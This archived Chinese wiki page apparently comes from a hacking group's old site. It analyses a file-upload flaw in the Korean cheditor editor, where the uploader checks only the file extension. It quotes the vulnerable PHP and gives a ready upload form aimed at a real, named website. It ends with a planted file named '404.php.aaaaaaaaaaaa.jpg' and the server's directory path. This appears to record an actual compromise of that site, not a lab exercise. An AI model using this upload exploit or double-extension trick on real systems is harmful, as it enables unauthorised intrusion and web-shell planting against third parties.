用户工具

站点工具


习科旧站:cheditor编辑器漏洞分析

国内的网站中有大量的存在漏洞的ewebeditor编辑器,还包括一些fckeditorckeditor(ckfinder)、kindeditor等大量有漏洞的编辑器。
韩国和中国就网络通用性有很多相通点:都有不与国际接轨的自己独特的一套程序。
国际上有Office、Adobe和Google在线办公,中国有wps,韩国游hws。国际上有ZIP、WinRAR,中国有把文件头改改就用的好压,韩国有图标是个蛋的压缩文件。
在编辑器上,中国有ewebeditor,韩国有cheditor,当然了,同样的cheditor也存在漏洞。

韩国明慧网(kr.minghui.org)在2012年的时候用的是一套在Google上开源的程序:gnuboard4cubrid,Web运营商则是最大的Cafe24公司的。
这个系统主要的就是cheditor。简单看一下代码:

insert_image.php

/cheditor/insert_image.php
if ($_REQUEST['do'] == "submit") {
        if (!preg_match("/\.(gif|png|jp[e]?g)$/i", $_FILES['AttachFile']['name']))
                alert("?? ??? GIF, JPG, PNG ??? ?????.");
                require_once "./imageupload-class.php";
                $attach = new uploader;
        //////////////////////////////////////////////////////////////////////////
        // ??? ??? ??? ???? ??? ?????.
        // $save_as_directory? ???? 777? ?????.
                $ym = date("ym", $g4[server_time]);
        //$save_as_directory = "/usr/local/apache/htdocs/cheditor2/attach/";
                $save_as_directory = "$g4[path]/data/$g4[editor]/$ym/";
                @mkdir($save_as_directory, 0707);
                @chmod($save_as_directory, 0707);
//////////////////////////////////////////////////////////////////////////
// $save_as_directory? URL ??? ?????.
//$save_as_url = "$g4[url]/data/$g4[editor]/$ym/";
        $save_as_url = "$g4[path]/data/$g4[editor]/$ym/";
////////////////////////////////////////////////////////////////////////// 

注意看代码,当提交给insert_image.php文件中时,程序只验证了后缀名。也就是说可以自行构造文件名前缀。
根据他的do变量和submit取值,构造代码如下:

<form action="http://kr.minghui.org/cheditor/insert_image.php?do=submit" name="insertImage" method=post style="inline" enctype="multipart/form-data">
<input type="file" size="37" name="AttachFile">
<input type="submit" value="확인">
</form>

顺便分析下服务器的环境:PHP/5.2.9,网站容器显示Server是Apache,实际应是nginx1.2.2,使用了P3P跨域Cookie 最后得到:

minghui.or.kr/data/cheditor/1301/404.php.aaaaaaaaaaaa.jpg
/home/hosting_users/khdkorea2/www/data/cheditor/1301/



你需要登录发表评论。
习科旧站/cheditor编辑器漏洞分析.txt · 最后更改: 2020/05/16 19:19 (外部编辑)

页面工具